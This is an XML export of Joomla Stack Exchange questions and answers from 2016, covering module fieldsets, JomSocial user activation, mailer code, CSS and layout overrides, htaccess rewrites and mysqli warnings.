  <row Id="16778" PostTypeId="1" AcceptedAnswerId="16780" CreationDate="2016-06-06T18:36:10.160" Score="1" ViewCount="275" Body="&lt;p&gt;What fieldset name do I need to use to add JFields to the tabs: Menu Assignment &amp;amp; Module Permissions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see below picture for more details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KNmoj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KNmoj.png&quot; alt=&quot;Picture about the tab items in question and the name field inside a editor.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7902" LastActivityDate="2016-06-07T05:39:49.943" Title="Module Development: What fieldset name do I need to use to add JFields to the tabs: Menu Assignment &amp; Module Permissions" Tags="|joomla-3.x|custom-module|module-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16779" PostTypeId="1" CreationDate="2016-06-06T23:54:21.340" Score="2" ViewCount="304" Body="&lt;p&gt;I am building a SaaS platform for a client that has a Joomla site equipped with JomSocial. We have disabled the PayPlans plugin because the SaaS platform is handling its own payments and they want the JomSocial community component to be free.&lt;/p&gt;&#xA;&lt;p&gt;I have build a sign-up process that creates the Joomla and JomSocial user successfully and even enables and activates the Joomla user, but the JomSocial part is not working. I can log in created user accounts, but I get redirected to the noaccess page if I try to access the profile, the feed or any other Joomla page.&lt;/p&gt;&#xA;&lt;p&gt;The Joomla User Activation is set to SELF, but when I create the user in code the activation email does not get sent. I either need to activate manually or manually send the activation email.&lt;/p&gt;&#xA;&lt;p&gt;My question is two-fold:1) &lt;strong&gt;Is there a way to activate a JomSocial User in PHP?&lt;/strong&gt; or 2) &lt;strong&gt;How can I tell JomSocial to send the activation email to the new user?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="8516" LastEditorUserId="12352" LastEditDate="2021-06-28T22:23:43.957" LastActivityDate="2021-06-28T22:23:43.957" Title="How do I programmatically activate a JomSocial user?" Tags="|user|jomsocial|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16780" PostTypeId="2" ParentId="16778" CreationDate="2016-06-07T05:39:49.943" Score="1" Body="&lt;p&gt;Unfortunately you &lt;strong&gt;can not&lt;/strong&gt; add custom fields to &quot;Menu assignment&quot; &amp;amp; &quot;Module Permissions&quot; tabs, because these are only for core features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have three options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Module tab&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advanced tab&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;advanced&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Custom tab&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;custom_name&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Custom tab is what you currently have, you just need some name for it.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-06-07T05:39:49.943" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16781" PostTypeId="2" ParentId="16773" CreationDate="2016-06-07T06:01:56.943" Score="4" Body="&lt;p&gt;There are 2 solutions you can try of the following.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;By avoiding the mailer instance :&lt;/strong&gt; &lt;code&gt;$mailer&lt;/code&gt;and using the following code - &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JFactory::getMailer()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getMailer()-&amp;gt;sendMail($emailfrom, $sitename, 'adam@malinator.com', $subject, $message, 1);&#xA;JFactory::getMailer()-&amp;gt;sendMail($emailfrom, $sitename, 'a.fini@ambulatoriprivati.it', $subject, $message, 1);&#xA;JFactory::getMailer()-&amp;gt;sendMail($emailfrom, $sitename, 'adam.madrzejewski@gmail.com', $subject, $message,1);`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Refer for more details :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://developer.joomla.org/joomlacode-archive/issue-31986.html&quot; rel=&quot;nofollow&quot;&gt;https://developer.joomla.org/joomlacode-archive/issue-31986.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Take an array of recipients and place the mailer instance inside the loop as following&lt;/strong&gt; - &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$mailer&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$recipients = array('email1','email2','email3' );&#xA;for($i=0;$i&amp;lt;3;$i++){&#xA;    $mailer = JFactory::getMailer();&#xA;    $mailer-&amp;gt;isHTML(true);&#xA;    $mailer-&amp;gt;Encoding = 'base64';&#xA;    $mailer-&amp;gt;setSubject('Your subject string');&#xA;    $mailer-&amp;gt;setBody($body);&#xA;    $mailer-&amp;gt;addRecipient($recipients[$i]);&#xA;    $mailer-&amp;gt;setSender($sender);&#xA;    $send = $mailer-&amp;gt;Send();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Refer for more details:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://developer.joomla.org/joomlacode-archive/issue-29095.html&quot; rel=&quot;nofollow&quot;&gt;https://developer.joomla.org/joomlacode-archive/issue-29095.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="7632" LastEditDate="2016-06-07T06:08:47.223" LastActivityDate="2016-06-07T06:08:47.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16782" PostTypeId="1" CreationDate="2016-06-07T06:06:46.267" Score="4" ViewCount="419" Body="&lt;p&gt;When setting up a Cronjob for smart search the links from search results goes to blank pages. When indexing manually everything works. What am i doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending the command &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;php [URL]/cli/finder_indexer.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Memorylimit 256 MB&lt;/p&gt;&#xA;" OwnerUserId="8512" LastActivityDate="2018-09-11T02:00:58.727" Title="How to make a Cron-job for smart search" Tags="|joomla-3.x|smartsearch|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16785" PostTypeId="2" ParentId="16754" CreationDate="2016-06-07T13:58:44.663" Score="2" Body="&lt;p&gt;In joomla 2.5 function onUserLogin() is used for your purpose. But in our joomla version 3.5 we use function onUserAfterLogin() is using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also follow the link &#xA;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User#onUserAfterLogin&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Plugin/Events/User#onUserAfterLogin&lt;/a&gt; &#xA;for more reference&lt;/p&gt;&#xA;" OwnerUserId="8519" LastActivityDate="2016-06-07T13:58:44.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16786" PostTypeId="1" AcceptedAnswerId="16797" CreationDate="2016-06-07T16:30:16.977" Score="2" ViewCount="509" Body="&lt;p&gt;When using a form field in an extension, you can normally define a default value, for example with a radio button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;something&quot; type=&quot;radio&quot; class=&quot;btn-group&quot; default=&quot;1&quot; label=&quot;Something&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;JOFF&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot;&amp;gt;JON&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will ensure that the second option is automatically checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I am using the &lt;code&gt;checkboxes&lt;/code&gt; form field like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;something&quot; type=&quot;checkboxes&quot; default=&quot;0&quot; multiple=&quot;true&quot; label=&quot;Something&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;Val 0&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot;&amp;gt;Val 1&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;2&quot;&amp;gt;Val 2&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;3&quot;&amp;gt;Val 3&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;4&quot;&amp;gt;Val 4&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, I've used &lt;code&gt;default=&quot;0&quot;&lt;/code&gt; which auto checks the first checkbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I'd like to have all of them checked by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried comma separating the default values and also tried a json string but with no avail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this possible by default or would I need to create an override for the &lt;code&gt;checkboxes&lt;/code&gt; layout?&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-06-09T15:15:44.010" Title="Form field &quot;checkboxes&quot; mutliple default values" Tags="|extensions|form-fields-types|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16787" PostTypeId="1" CreationDate="2016-06-07T19:34:27.743" Score="2" ViewCount="718" Body="&lt;p&gt;I'm trying to build a Joomla article to display a photo the user selects. I'm using the Regular Labs Sourcerer plugin to place the required PHP code into my article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to set various tags within the head of the document using PHP. So far I've been able to set the keywords and the description meta tags using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$document-&amp;gt;setDescription(&quot;Your meta description&quot;);&#xA;$document-&amp;gt;setMetaData('keywords', &quot;keyword1,keyword2&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I can't set the title tag using the following similar code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();  &#xA;$document-&amp;gt;setTitle(&quot;Your Title&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case Joomla displays the Browser Page Title from the article's menu item, and ignores the title I'm trying to set. Leaving the Browser Page Title blank doesn't help- a default value based on the menu item title is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only require to set the title tag for one article on my site, so I'd prefer to use the PHP / Sourcerer method if possible, rather than edit template files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to set the title tag using PHP and Sourcerer, and if so, how is it done?&lt;/p&gt;&#xA;" OwnerDisplayName="user8521" LastActivityDate="2016-06-08T09:50:19.267" Title="How Can I Set The &lt;title&gt; Tag Using The Sourcerer Extension?" Tags="|joomla-3.x|php|plugin|metadata|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16788" PostTypeId="1" CreationDate="2016-06-07T19:49:03.207" Score="2" ViewCount="414" Body="&lt;p&gt;I'm trying to figure out where in the heck is the &quot;&lt;em&gt;Written by&lt;/em&gt;&quot; tagline displayed at the top of each news article...basically, which css/php/whatever file holds the layout for articles and would contain that.  Somehow the name of the article's author isn't showing up next to &quot;Written by,&quot; and I'm trying to find out why.  I've tried a couple of things already:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)  Switching the global &quot;Show/Hide Author&quot; option does NOT work:  there is absolutely no change in the &quot;Written by&quot; text, and the author's name is still blank.  It also doesn't work in the &lt;strong&gt;Article&lt;/strong&gt; options menu either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)  I tried searching for the configuration/template file on Google...a couple of articles mentioned a &lt;em&gt;content.html.php&lt;/em&gt; file in the &lt;em&gt;com_content&lt;/em&gt; folder, but I suspect that must have been for an earlier version of Joomla, as I don't have that file (I'm using 3.x).  As of now, I don't know whether it's a css file, php file, or something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3)  I tried to do a search on the source code in my site folder using &quot;Written by,&quot; but I only came up with two language &lt;strong&gt;.ini&lt;/strong&gt; files.  Taking the &quot;Written by&quot; text out of those didn't change anything, either.  I also tried &quot;author&quot;...nothing of any substance resulted.  I don't know of any other variable name or text to key in on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; I may have altered something in the past and that's why the author name is not showing up beside the &quot;Written by,&quot; but I can't be sure.  Besides, doing a &quot;Hide&quot; on the Global options should have taken care of what's left, regardless.  I'm pretty much at my wits' end.  Can anyone help me with this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;THANKS!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:  I &lt;strong&gt;FINALLY&lt;/strong&gt; was able to make the &quot;Written by&quot; text disappear (it was an option on the &lt;em&gt;menu&lt;/em&gt; setting...Joomla seems counter-intuitive at times).  However, I'm still at a loss regarding why the author's name doesn't show up next to the &quot;Written by.&quot;&lt;/p&gt;&#xA;" OwnerUserId="5687" LastEditorUserId="5687" LastEditDate="2016-06-10T12:34:21.203" LastActivityDate="2019-12-17T09:56:11.210" Title="Trying to repair or eliminate &quot;Written by&quot; author field in article view" Tags="|joomla-3.x|php|css|layout|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16790" PostTypeId="1" AcceptedAnswerId="16793" CreationDate="2016-06-07T20:06:53.370" Score="1" ViewCount="45" Body="&lt;p&gt;Can someone let me know why my heading alway appear as Capitals, even the configuration in Joomla is lowercase?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See images&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LdNJf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LdNJf.png&quot; alt=&quot;CAPITALS&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AhtcI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AhtcI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8056" LastActivityDate="2016-06-08T13:11:56.427" Title="Capitals Always Appearing in Heading" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16791" PostTypeId="1" CreationDate="2016-06-07T21:47:53.763" Score="0" ViewCount="674" Body="&lt;p&gt;i want to change menu hover from green to blue color.&#xA;Please help me with the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.iglobez.com/about-us-page&quot; rel=&quot;nofollow&quot;&gt;http://www.iglobez.com/about-us-page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have used effortless joomla template &lt;/p&gt;&#xA;" OwnerUserId="6854" LastActivityDate="2016-06-07T22:01:31.787" Title="Change menu hover color" Tags="|joomla-3.x|templates|menu|fix-my-code|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16792" PostTypeId="2" ParentId="16791" CreationDate="2016-06-07T22:01:31.787" Score="1" Body="&lt;p&gt;In &lt;a href=&quot;http://www.iglobez.com/templates/effortless/css/custom.css&quot; rel=&quot;nofollow&quot;&gt;http://www.iglobez.com/templates/effortless/css/custom.css&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.uk-navbar-nav &amp;gt; li:hover &amp;gt; a {background-color: #1abc9c;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where you change the hex code to the shade of blue you want.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-06-07T22:01:31.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16793" PostTypeId="2" ParentId="16790" CreationDate="2016-06-07T22:29:31.440" Score="3" Body="&lt;p&gt;The link you posted requires login to display the content, however I checked other pages and found that your h1 headings are set to be shown as uppercase in your template's css, line 63:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/gk_news2/css/template.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to change this styling, unless there is a backend setting in your template's options, you will need a &lt;strong&gt;css override&lt;/strong&gt;. Following this link: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/3877/how-do-i-override-the-css-styles-in-my-template/&quot;&gt;How do I override the CSS styles in my template?&lt;/a&gt;&lt;/strong&gt;, you will find extended info on the proper way to create a &lt;strong&gt;custom css&lt;/strong&gt; file for many well-know commercial Joomla templates (you are using a gavick template) - Johanpw's answer has covered this template provider as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here is the bit of information you need:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Gavick Pro templates&lt;/strong&gt; ship with an empty overrides.css file in the /css/ subdirectory. But note that this file is not loaded by default,&#xA;  you have to activate Override CSS in the Advanced Settings tab in the&#xA;  template settings.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Gavick website provides more info here: &lt;strong&gt;&lt;a href=&quot;https://www.gavick.com/documentation/joomla/templates/customization/custom-template-css&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.gavick.com/documentation/joomla/templates/customization/custom-template-css&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you have created your override css file, you need to write your css that will override the uppercase for h1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;h1 {&#xA;    text-transform: initial;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't see a change, make sure you have cleared caches both browser's and Joomla's and that your css override files is loading. &lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-06-08T13:11:56.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16794" PostTypeId="2" ParentId="16787" CreationDate="2016-06-08T00:39:56.083" Score="1" Body="&lt;p&gt;I'm not sure why but the only way I can get this to work is to use JavaScript like this or similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;  &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    window.onload = function() {&#xA;      document.title = 'Your title here'; &#xA;    }&#xA;  &amp;lt;/script&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://searchengineland.com/tested-googlebot-crawls-javascript-heres-learned-220157&quot; rel=&quot;nofollow&quot;&gt;Apparently&lt;/a&gt; Google does crawl content injected by JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is probably a better way to do this and I'd love to see some alternative answers to this question.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="168" LastEditDate="2016-06-08T09:50:19.267" LastActivityDate="2016-06-08T09:50:19.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16795" PostTypeId="2" ParentId="16788" CreationDate="2016-06-08T03:10:26.243" Score="2" Body="&lt;p&gt;If you want to show or hide author you dont have to hack the core files as there are predefined option in the administrator panel. Login to Administrator and click on Content article. You will find option on top right; click on that. You will find several options to display article.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/aEFZ4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aEFZ4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8486" LastActivityDate="2016-06-08T03:10:26.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16797" PostTypeId="2" ParentId="16786" CreationDate="2016-06-08T08:18:12.300" Score="4" Body="&lt;p&gt;Set a comma separated property &quot;checked&quot; in the XML file rather than using default and you should be good. We also do not call trim on the comma separated values as having spaces in values is allowed by the W3C spec. So ensure there are no surplus spaces :)&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2016-06-09T15:15:44.010" LastActivityDate="2016-06-09T15:15:44.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16798" PostTypeId="1" AcceptedAnswerId="16800" CreationDate="2016-06-08T09:33:55.693" Score="1" ViewCount="81" Body="&lt;p&gt;I have created some Joomla articles and blog overrides. Both are working fine at local host (XAMP) but not on live site. Overrides for both can be selected from back end but displays only default layouts on front end on live. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the site was already live, previous overrides are working fine on live but not new. I can't figure out why.&lt;/p&gt;&#xA;" OwnerUserId="8514" LastEditorDisplayName="user3831" LastEditDate="2016-10-05T07:38:05.883" LastActivityDate="2016-10-05T07:38:05.883" Title="Joomla showing only default layout not overrides" Tags="|joomla-3.x|overrides|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16799" PostTypeId="2" ParentId="16730" CreationDate="2016-06-08T11:28:08.367" Score="0" Body="&lt;p&gt;To solve this matter i did this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;From the Add-on hosting account cpanel we have registered our web.es for our associated name of domain that we have reserved (Through this action a new subdomain associated folder uder &lt;code&gt;/public_html/&lt;/code&gt; folder will be created).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;/public_html/.htaccess&lt;/code&gt; file content:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteCond %{HTTP_HOST} !^(www.)?web.es.maindomain.es$ [NC]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteCond %{HTTP_HOST} ^(www.)?web.es.maindomain.es$ [NC]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteCond %{REQUEST_URI} !^/web.es.maindomain.es/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteCond %{REQUEST_FILENAME} !-f&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteCond %{REQUEST_FILENAME} !-d&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteRule ^(.*)$ /web.es.maindomain.es/$1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteCond %{HTTP_HOST} ^(www.)?web.es.maindomain.es$ [NC]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteRule ^(/)?$ web.es.main.es/ [L]&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;We also can modify the joomla adminnistrator &lt;code&gt;.../tmp&lt;/code&gt; and &lt;code&gt;.../log&lt;/code&gt; folders via Global Options and the &lt;code&gt;.../tmp&lt;/code&gt; and &lt;code&gt;.../log&lt;/code&gt; lines of the &lt;code&gt;/public_html/web.es/configuration.php&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;code&gt;/public_html/web.es/.htaccess&lt;/code&gt; joomla site file haven't been necessary to modifying it (From my point of view and for my particular case this file only should be modified from &lt;code&gt;/administrator/&lt;/code&gt; config options&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8402" LastEditorUserId="8402" LastEditDate="2016-06-13T11:59:26.523" LastActivityDate="2016-06-13T11:59:26.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16800" PostTypeId="2" ParentId="16798" CreationDate="2016-06-08T11:46:14.073" Score="1" Body="&lt;p&gt;Try to use only lowercase letters in overrided files names; i. e. myblog.php; not Myblog.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards&#xA;Oleg.&lt;/p&gt;&#xA;" OwnerUserId="8525" LastActivityDate="2016-06-08T11:46:14.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16802" PostTypeId="2" ParentId="16556" CreationDate="2016-06-08T15:11:23.437" Score="1" Body="&lt;p&gt;Have you recently updated Joomla to Joomla 3.5.1? This error is typically caused by a botched update (see: &lt;a href=&quot;http://www.itoctopus.com/resolving-the-dreaded-call-to-a-member-function-getdocument-on-a-non-object-error-on-a-joomla-website&quot; rel=&quot;nofollow&quot;&gt;http://www.itoctopus.com/resolving-the-dreaded-call-to-a-member-function-getdocument-on-a-non-object-error-on-a-joomla-website&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you have some folders from your old Joomla installation that are causing this problem. Deleting these folders will fix the problem.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-06-08T15:11:23.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16804" PostTypeId="1" CreationDate="2016-06-08T18:05:25.117" Score="1" ViewCount="2291" Body="&lt;p&gt;I am getting the following errors (in this order) thousands of times in my error log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[08-Jun-2016 13:11:05 America/Detroit] PHP Warning:  mysqli::stat(): Couldn't fetch mysqli in {...}/libraries/joomla/database/driver/mysqli.php on line 219&#xA;[08-Jun-2016 13:11:05 America/Detroit] PHP Warning:  mysqli_close(): Couldn't fetch mysqli in {...}/libraries/joomla/database/driver/mysqli.php on line 226&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the function within the &lt;strong&gt;mysqli.php&lt;/strong&gt; file that has lines 219 [&lt;code&gt;if ($this...&lt;/code&gt;] and 226 [&lt;code&gt;mysqli_close($this...&lt;/code&gt;]:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Disconnects the database.&#xA; *&#xA; * @return  void&#xA; *&#xA; * @since   12.1&#xA; */&#xA;public function disconnect()&#xA;{&#xA;    // Close the connection.&#xA;    if ($this-&amp;gt;connection instanceof mysqli &amp;amp;&amp;amp; $this-&amp;gt;connection-&amp;gt;stat() !== false)&#xA;    {&#xA;        foreach ($this-&amp;gt;disconnectHandlers as $h)&#xA;        {&#xA;            call_user_func_array($h, array( &amp;amp;$this));&#xA;        }&#xA;&#xA;        mysqli_close($this-&amp;gt;connection);&#xA;    }&#xA;&#xA;    $this-&amp;gt;connection = null;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have another Joomla! 3.6.2 site on this server with only a few occurrences of this error one day, so I assume it is a local issue. However, the other site is an exact mirror with a slightly modified theme and fewer extensions, so I am a little confused as to how to proceed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did have a few other reference warnings in my theme files. Those have been resolved, but the above warnings continue. I, also, upgraded from PHP 5.4 -&gt; 5.5, but there is no change.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The errors always come in pairs on lines 219 &amp;amp; 226 of &lt;code&gt;mysqli.php&lt;/code&gt;. And, they always occur more than 1 pair at a time. Example: On 26-Aug-2016 11:10:25 there were &lt;em&gt;10 pairs&lt;/em&gt; of these errors (20 lines total) &lt;em&gt;at the exact same second&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran a Database &quot;Fix&quot;, but that did not resolve the issue.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2016-12-27T23:01:27.730" LastActivityDate="2020-01-01T06:01:25.310" Title="MySQLi PHP Warning" Tags="|joomla-3.x|php|mysql|database|joomla-3.6|" AnswerCount="2" CommentCount="25" ClosedDate="2020-01-01T08:16:47.433" ContentLicense="CC BY-SA 3.0" />
